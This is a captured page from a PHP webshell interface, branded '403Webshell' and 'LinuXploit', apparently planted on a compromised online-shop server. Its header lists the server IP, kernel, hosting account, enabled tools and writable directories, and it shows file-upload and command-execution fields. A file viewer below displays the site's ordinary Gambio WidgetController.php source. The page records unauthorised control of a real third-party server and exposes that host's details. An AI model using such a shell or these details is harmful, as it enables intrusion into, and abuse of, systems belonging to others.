403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/GXModules/Gambio/StyleEdit/Core/Components/Widget/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/GXModules/Gambio/StyleEdit/Core/Components/Widget/WidgetController.php
<?php
/* --------------------------------------------------------------
  WidgetController.php 2019-10-24
  Gambio GmbH
  http://www.gambio.de
  Copyright (c) 2019 Gambio GmbH
  Released under the GNU General Public License (Version 2)
  [http://www.gnu.org/licenses/gpl-2.0.html]
  --------------------------------------------------------------*/

namespace Gambio\StyleEdit\Core\Components\Widget;

use Gambio\StyleEdit\Core\Components\BasicController;
use Gambio\StyleEdit\Core\Components\Theme\Entities\ThemeConfiguration;
use Gambio\StyleEdit\Core\Components\Theme\StyleEditThemeService;
use Gambio\StyleEdit\Core\Language\Entities\Language;
use Gambio\StyleEdit\Core\SingletonPrototype;
use Gambio\StyleEdit\Core\Widgets\Abstractions\Interfaces\ContentGeneratorInterface;
use Gambio\StyleEdit\Core\Widgets\Abstractions\Interfaces\StyleEditApiDataProviderInterface;
use Gambio\StyleEdit\Core\Widgets\Exceptions\ContentGeneratorDoesNotImplementStyleEditApiDataProviderInterface;
use Gambio\StyleEdit\Core\Widgets\Exceptions\ContentGeneratorNotFoundException;
use stdClass;

/**
 * Class WidgetController
 */
class WidgetController extends BasicController
{
    
    /**
     * @var WidgetRepository
     */
    private $repository;
    
    /**
     * @var ThemeConfiguration
     */
    private $themeConfiguration;


    /**
     * WidgetController constructor.
     * @throws \Exception
     */
    public function __construct()
    {
        $this->repository = SingletonPrototype::instance()->get('WidgetRepository');
    }
    
    
    /**
     * @param array $uri
     *
     * @return mixed
     * @throws ContentGeneratorDoesNotImplementStyleEditApiDataProviderInterface
     * @throws ContentGeneratorNotFoundException
     * @throws \ReflectionException
     */
    public function get(array $uri)
    {
        $this->themeConfiguration = SingletonPrototype::instance()
            ->get(StyleEditThemeService::class)
            ->getConfigurationById($uri[2]);
        
        if (count($uri) === 3) {
            
            $this->getWidgetList();
        } elseif (count($uri) === 4) {
            
            $widgetId = ucfirst(end($uri));
            /** @var StyleEditApiDataProviderInterface $generatorName */
            $generatorName = $widgetId . 'Widget';
            
            if (class_exists($generatorName) === false) {
                
                throw new ContentGeneratorNotFoundException($generatorName);
            }
            
            if (!in_array(StyleEditApiDataProviderInterface::class, class_implements($generatorName), true)) {
                
                throw new ContentGeneratorDoesNotImplementStyleEditApiDataProviderInterface($generatorName);
            }
            
            $this->outputJson($generatorName::apiData());
        }
    }
    
    
    /**
     * @param array $uri
     * @param       $data
     *
     * @return mixed
     */
    public function put(array $uri, $data)
    {
        // TODO: Implement put() method.
    }


    /**
     * @param array $uri
     * @param       $data
     *
     * @return mixed
     * @throws \Exception
     */
    public function post(array $uri, $data)
    {
        if (count($uri) >= 4) {
            $widgetName = $uri[3];
            $widgetName = str_replace('-', '', ucwords($widgetName, '-')) . 'Widget';
            
            $json = json_decode($data, false);
            
            /** @var ContentGeneratorInterface $widget */
            $widget = $widgetName::createFromJsonObject($json);
            
            $response        = new stdClass;
            $currentLanguage = SingletonPrototype::instance()->get(Language::class);
            $response->html  = $widget->previewContent($currentLanguage);
            echo json_encode($response);
        } else {
            throw new \RuntimeException('Invalid Request!');
        }
    }
    
    
    /**
     * @param array $uri
     * @param       $data
     *
     * @return mixed
     */
    public function delete(array $uri, $data)
    {
        // TODO: Implement delete() method.
    }
    
    
    /**
     * @param array $uri
     * @param       $data
     *
     * @return mixed
     */
    public function patch(array $uri, $data)
    {
        // TODO: Implement patch() method.
    }
    
    
    /**
     * @return BasicController
     */
    public function __clone()
    {
        // TODO: Implement __clone() method.
    }
    
    
    /**
     *
     */
    protected function getWidgetList(): void
    {
        $widgetList = [];
        
        foreach ($this->repository->widgets() as $widget) {
            
            $widgetList[] = $widget->jsonSerialize();
        }
        
        $this->outputJson($widgetList);
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit